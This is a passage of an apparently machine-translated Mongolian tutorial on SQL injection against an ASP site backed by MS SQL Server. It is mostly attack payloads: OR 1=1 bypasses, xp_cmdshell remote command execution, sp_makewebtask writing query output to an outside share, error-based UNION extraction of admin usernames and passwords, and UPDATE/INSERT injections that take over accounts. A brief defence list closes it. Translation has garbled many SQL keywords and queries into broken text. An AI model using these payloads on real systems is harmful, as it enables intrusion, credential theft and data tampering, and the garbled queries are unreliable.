Энэ асуулга нь WHERE заалттай тохирох нэг буюу хэд хэдэн мөр агуулсан багцыг буцаах ёстой, энэ тохиолдолд "хоол". Одоо URL-г дараах байдлаар өөрчилье.

http://duck/index.asp?category=food" эсвэл 1=1--
WHERE бүтээгдэхүүнээс * СОНГОХ PCategory="хоол" эсвэл 1=1--‘

Энэ асуулга нь Pcategory нь "хоол" эсэхээс үл хамааран бүтээгдэхүүний хүснэгтийн бүх мөрийг буцаана. Давхар зураас "-" нь MS SQL Server-д ганц ишлэл (")-ийн дараах асуулгын үлдсэн хэсгийг үл тоомсорлохыг хэлдэг. Заримдаа та давхар зураасыг хурц "#"-ээр сольж болно.

Гэсэн хэдий ч, хэрэв та SQL бус сервер ашиглаж байгаа эсвэл асуулгын үлдсэн хэсгийг үл тоомсорлож чадахгүй бол дараахыг оролдоно уу:

" эсвэл "a"="a

Одоо SQL асуулга дараах болно.

PCategory="хоол" эсвэл "a"="a" бүтээгдэхүүнээс * СОНГОХ

Энэ асуулга нь ижил үр дүнг буцаана.

Бодит SQL асуулгаас хамааран та эдгээр боломжуудын заримыг туршиж үзэх хэрэгтэй болно:

"эсвэл 1=1--
"эсвэл 1=1--
эсвэл 1=1--
" эсвэл "a"="a
" эсвэл "a"="a
") эсвэл ("a"="a

4.0 Би SQL injection ашиглан тушаалуудыг алсаас хэрхэн гүйцэтгэх вэ?

SQL командыг оруулах чадвар нь ихэвчлэн бид хүссэн үедээ SQL асуулгыг гүйцэтгэх боломжтой гэсэн үг юм. MS SQL Server-ийн анхдагч суулгац нь системийн эрхээр ажилладаг. Бид мастер..xp_cmdshell гэх мэт суулгасан процедуруудыг дуудаж, дурын командуудыг алсаас гүйцэтгэх боломжтой.

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Хэрэв (") ажиллахгүй бол давхар хашилт (") хэрэглэж үзнэ үү.

Цэг таслал нь одоогийн SQL мэдэгдлийг дуусгаж, шинэ SQL командуудыг ажиллуулах боломжийг танд олгоно. Тушаал амжилттай болсон эсэхийг шалгахын тулд 10.10.1.2-д байгаа ICMP пакетуудад эмзэг серверээс ирсэн пакетууд байгаа эсэхийг шалгах боломжтой.

http://site/?ID=31610

Хэрэв та серверээс ямар нэгэн ping хүсэлт хүлээн аваагүй бөгөөд зөвшөөрлийн алдааг харуулсан алдааны мессеж хүлээн авбал администратор вэб хэрэглэгчийн хадгалагдсан процедурт хандах хандалтыг хязгаарласан байж магадгүй юм.

5.0 Би SQL асуулгын үр дүнг хэрхэн авах вэ?

Та HTML хэлээр хүсэлтээ бичихийн тулд sp_makewebtask ашиглаж болно:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "МЭДЭЭЛЛИЙН_СХЕМ.ХҮСНЭГТЭЭС * СОНГОХ"

Заасан IP нь хүн бүрт хандах эрхтэй "хуваалцах" хавтастай байх ёстой.

6.0 Өгөгдлийн сангаас ODBC алдааны мэдээг ашиглан өгөгдлийг хэрхэн сэргээх вэ?

Бид ямар ч өгөгдлийг сэргээхийн тулд SQL серверээс гаргасан алдааны мэдэгдлийн мэдээллийг ашиглаж болно. Жишээлбэл, дараах хуудсыг анхаарч үзээрэй.

http://duck/index.asp?id=10

Одоо бид '10' бүхэл тоог мэдээллийн сангийн өөр мөртэй холбохыг хичээх болно:

http://duck/index.asp?id=10 НЭГДСЭН ШИЛДЭГ 1 ХҮСНЭГТИЙН_НЭРИЙГ МЭДЭЭЛЛИЙН_СХБЭЭСЭЭС СОНГООРОЙ.ХҮСНЭГТ--

INFORMATION_SCHEMA.TABLES системийн хүснэгт нь сервер дээрх бүх хүснэгтийн мэдээллийг агуулна.

TABLE_NAME талбар нь мэдээллийн сан дахь хүснэгт бүрийн нэрийг агуулсан байх нь ойлгомжтой. Энэ нь үргэлж байдаг гэдгийг мэддэг учраас үүнийг сонгосон. Бидний хүсэлт:

INFORMATION_SCHEMA.ХҮСНЭГТҮҮДЭЭС ШИЛДЭГ 1 ХҮСНЭГТИЙН_НЭРИЙГ СОНГОХ--

Энэ асуулга нь мэдээллийн сан дахь анхны нэрийг буцаана. Бид энэ мөрийн утгыг бүхэл 10 болгон НЭГДЭХ үед MS SQL сервер nvarchar мөрийг бүхэл тоо болгон хөрвүүлэхийг оролдох болно. Энэ нь nvarchar-г int болгон хөрвүүлэх боломжгүй гэсэн алдаа гаргах болно. Сервер дараах алдааг гаргах болно.


nvarchar утгыг хөрвүүлэх синтакс алдаа " хүснэгт1" to a column of data type int. !}
/index.asp, мөр 5

Алдааны мэдэгдэл нь бүхэл тоо руу хөрвүүлэх боломжгүй утгын талаарх мэдээллийг агуулна. Энэ тохиолдолд бид эхний хүснэгтийн нэрийг авсан - "хүснэгт1".

Дараагийн хүснэгтийн нэрийг авахын тулд бид дараах асуулгыг ашиглаж болно.

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 ХҮСНЭГТИЙН_НЭРИЙГ МЭДЭЭЛЛИЙН_СХЕМААС СОНГООРОЙ.ХҮСНЭГТ_НЭРИЙГ БАЙГАА ХҮССЭНЭ ("хүснэгт1")--

Бид мөн LIKE товчлуурыг ашиглан өгөгдлийг хайж болно:

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 ХҮСНЭГТИЙН_НЭРИЙГ МЭДЭЭЛЛИЙН_СХБЭЭС СОНГООРОЙ. "%25login%25" ШИГ ХҮСНЭГТ_НЭРИЙН ХҮСНЭГТҮҮД--

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07" "admin_login.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !} /index.asp, мөр 5

Харгалзах "% 25login% 25" бүтцийг SQL серверт % login% гэж солино. Энэ тохиолдолд бид "admin_login" шалгуурт тохирсон хүснэгтийн нэрийг авах болно.

6.1 Хүснэгтийн бүх баганын нэрийг хэрхэн олж мэдэх вэ?

Бид хүснэгтийн бүх баганын нэрийг харуулахын тулд INFORMATION_SCHEMA.COLUMNS хүснэгтийг ашиглаж болно:

http://duck/index.asp?id=10 UNION ХҮСНЭГТ_NAME="admin_login"- ДАХЬ МЭДЭЭЛЛИЙН_СХЕМИЙН БАГАНААС ШИЛДЭГ 1 БАГАНА_НЭРИЙГ СОНГО.

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"login_id.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/index.asp, мөр 5

Одоо бид эхний баганын нэрийг мэдэж байгаа тул дараагийн баганын нэрийг авахын тулд NOT IN()-г ашиглаж болно:

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 БАГАННЫ НЭРИЙГ МЭДЭЭЛЛИЙН_СХБЭЭСЭЭС СОНГООРОЙ. ХҮСНЭГТ_NAME="admin_login" БАГАННЫ НЭРИЙГ БАЙГАА ХААНА ("login_id")-

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
nvarchar утгыг хөрвүүлэх синтакс алдаа "login_name" to a column of data type int. !}
/index.asp, мөр 5

Үргэлжлүүлснээр бид үлдсэн баганын нэрийг авах болно, i.e. Дараах алдаа гарах хүртэл "нууц үг", "дэлгэрэнгүй мэдээлэл".

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 БАГАННЫ НЭРИЙГ МЭДЭЭЛЛИЙН_СХБЭЭСЭЭС СОНГООРОЙ. ХҮСНЭГТ_NAME="admin_login" БАГАННЫ НЭР ОРООГҮЙ БАЙНА ("login_id","login_name","нууц үг",дэлгэрэнгүй")-

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e14"
Хэрэв мэдэгдэлд UNION оператор байгаа бол ORDER BY зүйл сонгох жагсаалтад гарч ирэх ёстой.
/index.asp, мөр 5

6.2. Бид хэрэгтэй мэдээллээ яаж авах вэ?

Одоо бид зарим чухал хүснэгтүүдийг тодорхойлсон тул мэдээллийн сангаас мэдээлэл авахын тулд ижил аргыг ашиглаж болно.

"admin_login" хүснэгтээс эхний нэвтрэх_нэрийг авцгаая:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"neo.) nvarchar утгыг хөрвүүлэх синтаксийн алдаа" to a column of data type int. !}
/index.asp, мөр 5

Одоо бид "neo" нэвтрэх нэртэй админ хэрэглэгч байгааг мэдэж байна. Эцэст нь бид "neo" нууц үгийг авч болно:

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 нууц үгээ admin_login-ээс сонго, login_name="neo"--

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"m4trix.) nvarchar утгыг хөрвүүлэх синтакс алдаа" to a column of data type int. !}
/index.asp, мөр 5

Одоо бид "m4trix" нууц үгээр "neo" нэрээр нэвтрэх боломжтой болно.

6.3 Мөрний тоон утгыг хэрхэн авах вэ?

Дээр дурдсан аргад хязгаарлалт байдаг. Хэрэв бид тооноос (зөвхөн 0...9 хүртэлх тэмдэгтээс) бүрдэх текстийг хөрвүүлэхийг оролдвол алдааны мэдэгдэл авах боломжгүй болно. Одоо бид "гурвал" хэрэглэгчээс "31173" нууц үг авахыг тайлбарлах болно.

http://duck/index.asp?id=10 UNION ШИЛДЭГ 1 нууц үгээ admin_login-ээс сонгоод, login_name="trinity"--

Бид магадгүй "Хуудас олдсонгүй" гэсэн алдаа авах болно. Учир нь "31173" гэсэн нууц үг нь бүхэл тоогоор UNION-ын өмнө (манай тохиолдолд 10) тоо руу хөрвүүлэгдэх болно. UNION илэрхийлэл зөв тул SQL сервер алдааны мессеж үүсгэхгүй тул бид тоон бичлэг авах боломжгүй болно.

Энэ асуудлыг шийдэхийн тулд бид хөрвүүлэлтийг хийхээс сэргийлж төгсгөлд нь зарим үсэг бүхий тооны мөрийг нэмж болно. Өөрчлөгдсөн хүсэлт:

http://duck/index.asp?id=10 UNION SELECT TOP 1 хувиргах(int, нууц үг%2b"%20morpheus") admin_login-ээс login_name="trinity"--

Бид зүгээр л нэмэх тэмдгийг (+) ашиглан нууц үгээ дурын бичвэрт оруулна (ASSCII кодчилол "+" = 0x2b). Дараа нь бид жинхэнэ нууц үгийн төгсгөлд "%20morpheus"-г нэмнэ. Тиймээс нууц үгийн утга "31173" байсан ч "31173 morpheus" болно. "31173 morpheus"-ийг бүхэл тоо руу хөрвүүлэхийг оролдож буй convert() функцийг гараар дуудаж, SQL Server нь ODBC алдааны мессежийг илгээх болно:

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"31173 morpheus) nvarchar утгыг хөрвүүлэх синтакс алдаа" to a column of data type int. !}
/index.asp, мөр 5

Одоо бид "31173" нууц үгээр "гурвал" нэрээр нэвтрэх боломжтой болно.

7.0 Өгөгдлийн санд өгөгдлийг хэрхэн өөрчлөх/оруулах вэ?

Хүснэгтийн баганаар хүн бүрийн нэрийг авсан бол бид чадна Шинэчлэх (UPDATE) эсвэл хүснэгтэд шинэ бичлэг оруулах (INSERT). Жишээлбэл, бид "neo"-ийн нууц үгийг өөрчилж болно:

http://duck/index.asp?id=10; ШИНЭЧЛЭХ "admin_login" SET "нууц үг" = "newpas5" ХААНА login_name = "neo--

Өгөгдлийн санд шинэ бичлэг оруулахын тулд:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Одоо бид "newpas5" нууц үгээр "neo" нэрээр нэвтрэх боломжтой болно.

8.0 SQL Injection-ээс хэрхэн зайлсхийх вэ?

Бүх мөрөнд тусгай тэмдэгтүүдийг шүүнэ үү:

Хэрэглэгчийн оруулсан аливаа өгөгдөл
- URL параметрүүд
- Күүки

Тоон утгуудын хувьд тэдгээрийг SQL асуулгад дамжуулахын өмнө бүхэл тоо руу хөрвүүлнэ үү. Эсвэл бүхэл тоо эсэхийг шалгахын тулд ISNUMERIC ашиглана уу.

SQL серверийг эрхгүй хэрэглэгч болгон ажиллуул.

Ашиглагдаагүй хадгалагдсан процедурыг устгана уу: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask